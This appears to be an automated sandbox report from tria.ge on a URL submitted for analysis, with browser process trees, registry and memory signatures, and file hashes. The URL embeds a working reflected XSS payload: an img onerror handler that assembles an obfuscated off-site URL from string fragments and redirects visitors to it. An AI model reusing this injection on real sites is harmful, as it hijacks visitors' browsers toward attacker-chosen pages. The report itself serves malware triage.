Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
17s -
max time network
24s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
09/07/2024, 09:40
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
https://www.voyagerrv.ca/search-results.php?newused=0&rvtype=vifd3%22%3E%3Cimg%20src%3D%22image.jpg%22%20onerror%3D%22var%20url1%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%20var%20url2%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%0D%0Avar%20url%20%3D%20%5B%27ht%27%2C%27tps%27%2C%27%3A%2F%27%2C%27%2Fwww.w%27%2C%27e%27%2C%27bw%27%2C%27at%27%2C%27chero%27%2C%27n%27%2C%27li%27%2C%27n%27%2C%27e.xy%27%2C%27z%2F2%27%2C%275P%27%2C%27B%27%2C%27NZ%27%2C%279%27%2C%279%2F7%27%2C%27BC%27%2C%2749%27%2C%27GB%27%2C%27S%2F%3Fsub1%3D16%26sub2%3D318-14253%26sub3%3D1265-17568-22395%27%5D.join%28%27%27%29%3B%0D%0A%20url%20%3D%20url.replace%28%2F%2C%2Fg%2C%20%27%27%29%3B%20var%20win%20%3D%20window.open%28url%2C%20%27_self%27%29%3B%20win.opener%20%3D%20null%3B%20win.location.replace%28url%29%3B%22%3E#R%3CopDH,.y#gHVimFIUxS
Resource
win10v2004-20240704-en
General
-
Target
https://www.voyagerrv.ca/search-results.php?newused=0&rvtype=vifd3%22%3E%3Cimg%20src%3D%22image.jpg%22%20onerror%3D%22var%20url1%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%20var%20url2%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%0D%0Avar%20url%20%3D%20%5B%27ht%27%2C%27tps%27%2C%27%3A%2F%27%2C%27%2Fwww.w%27%2C%27e%27%2C%27bw%27%2C%27at%27%2C%27chero%27%2C%27n%27%2C%27li%27%2C%27n%27%2C%27e.xy%27%2C%27z%2F2%27%2C%275P%27%2C%27B%27%2C%27NZ%27%2C%279%27%2C%279%2F7%27%2C%27BC%27%2C%2749%27%2C%27GB%27%2C%27S%2F%3Fsub1%3D16%26sub2%3D318-14253%26sub3%3D1265-17568-22395%27%5D.join%28%27%27%29%3B%0D%0A%20url%20%3D%20url.replace%28%2F%2C%2Fg%2C%20%27%27%29%3B%20var%20win%20%3D%20window.open%28url%2C%20%27_self%27%29%3B%20win.opener%20%3D%20null%3B%20win.location.replace%28url%29%3B%22%3E#R%3CopDH,.y#gHVimFIUxS
Malware Config
Signatures
-
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4388 msedge.exe 4388 msedge.exe 4960 msedge.exe 4960 msedge.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe -
Suspicious use of FindShellTrayWindow 25 IoCs
pid Process 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe -
Suspicious use of SendNotifyMessage 24 IoCs
pid Process 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe 4960 msedge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4960 wrote to memory of 5044 4960 msedge.exe 81 PID 4960 wrote to memory of 5044 4960 msedge.exe 81 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 2260 4960 msedge.exe 82 PID 4960 wrote to memory of 4388 4960 msedge.exe 83 PID 4960 wrote to memory of 4388 4960 msedge.exe 83 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84 PID 4960 wrote to memory of 4892 4960 msedge.exe 84
Processes
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.voyagerrv.ca/search-results.php?newused=0&rvtype=vifd3%22%3E%3Cimg%20src%3D%22image.jpg%22%20onerror%3D%22var%20url1%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%20var%20url2%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%0D%0Avar%20url%20%3D%20%5B%27ht%27%2C%27tps%27%2C%27%3A%2F%27%2C%27%2Fwww.w%27%2C%27e%27%2C%27bw%27%2C%27at%27%2C%27chero%27%2C%27n%27%2C%27li%27%2C%27n%27%2C%27e.xy%27%2C%27z%2F2%27%2C%275P%27%2C%27B%27%2C%27NZ%27%2C%279%27%2C%279%2F7%27%2C%27BC%27%2C%2749%27%2C%27GB%27%2C%27S%2F%3Fsub1%3D16%26sub2%3D318-14253%26sub3%3D1265-17568-22395%27%5D.join%28%27%27%29%3B%0D%0A%20url%20%3D%20url.replace%28%2F%2C%2Fg%2C%20%27%27%29%3B%20var%20win%20%3D%20window.open%28url%2C%20%27_self%27%29%3B%20win.opener%20%3D%20null%3B%20win.location.replace%28url%29%3B%22%3E#R%3CopDH,.y#gHVimFIUxS1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4960 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa98c646f8,0x7ffa98c64708,0x7ffa98c647182⤵PID:5044
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,870459399871102744,17849887120296874559,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2240 /prefetch:22⤵PID:2260
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,870459399871102744,17849887120296874559,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 /prefetch:32⤵
- Suspicious behavior: EnumeratesProcesses
PID:4388
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2108,870459399871102744,17849887120296874559,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2836 /prefetch:82⤵PID:4892
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,870459399871102744,17849887120296874559,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3468 /prefetch:12⤵PID:4992
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,870459399871102744,17849887120296874559,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3600 /prefetch:12⤵PID:2080
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,870459399871102744,17849887120296874559,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3076 /prefetch:12⤵PID:1640
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,870459399871102744,17849887120296874559,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5228 /prefetch:12⤵PID:4604
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:3396
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:1080
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:716
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
11KB
MD5a8e0a52c0591702a35dcdb1d9f9c4952
SHA1d4b7d65a7fd7c9a937ff920eebebce7e505fb434
SHA2567f8e3d6b4baffde1a9a0bd6a1a26e2fdf6320122fff7943bc3adb89165df75be
SHA512bce8df781589434a1aab1c92f9cd90716dc94a461cb45f3099e4096494e1d955f44205ef71dc9e6c9f6856c7e6c9342de37228ac178b8d83949d692cdf9ccad6
-
Filesize
152B
MD5fbc957a83b42f65c351e04ce810c1c11
SHA178dcdf88beec5a9c112c145f239aefb1203d55ad
SHA2567bb59b74f42792a15762a77ca69f52bf5cc4506261a67f78cd673a2d398e6128
SHA512efad54eb0bd521c30bc4a96b9d4cb474c4ca42b4c108e08983a60c880817f61bc19d97538cc09a54b2db95ab9c8996f790672e19fb3851a5d93f174acdfac0ce
-
Filesize
152B
MD55b6ff6669a863812dff3a9e76cb311e4
SHA1355f7587ad1759634a95ae191b48b8dbaa2f1631
SHA256c7fb7eea8bea4488bd4605df51aa560c0e1b11660e9228863eb4ad1be0a07906
SHA512d153b1412fadda28c0582984e135b819ba330e01d3299bb4887062ffd6d3303da4f2c4b64a3de277773f4756da361e7bc5885c226ae2a5cfdd16ee60512e2e5e
-
Filesize
6KB
MD55eaf9e67e8c6967a3abcea2cbb94e3e5
SHA16bf2a71a1c20972dbaf33b10ceae66e633502114
SHA256f11b1a3671229a7f19edfcb094ab4cddf207a2bb7acf7da3b802d575a22e99aa
SHA51229a055aebdf0d892b10ddb77e433e463e3e813a73357fc3f490587d8ed8a84e90832f4698f9383f65d137599cb901e4ec21d4244327ef5d051619ad815c26c3e
-
Filesize
8KB
MD578191e60cc66e1aed4b1cceda8fa32c7
SHA1d3a5bebc2d19605f3788e563cd4d0287133a8ec9
SHA256e66d3d693a474fa8a4b16a601e03f717412c3007a4bbda4c146764d6f60969b6
SHA5120d67b665c27083540f890727be21984f7ec698dc5127ac58db339f17ff1bd794cd4d44d5f7a821519ebcf8310b76fe8b974bb23874b279160d44b014e344447b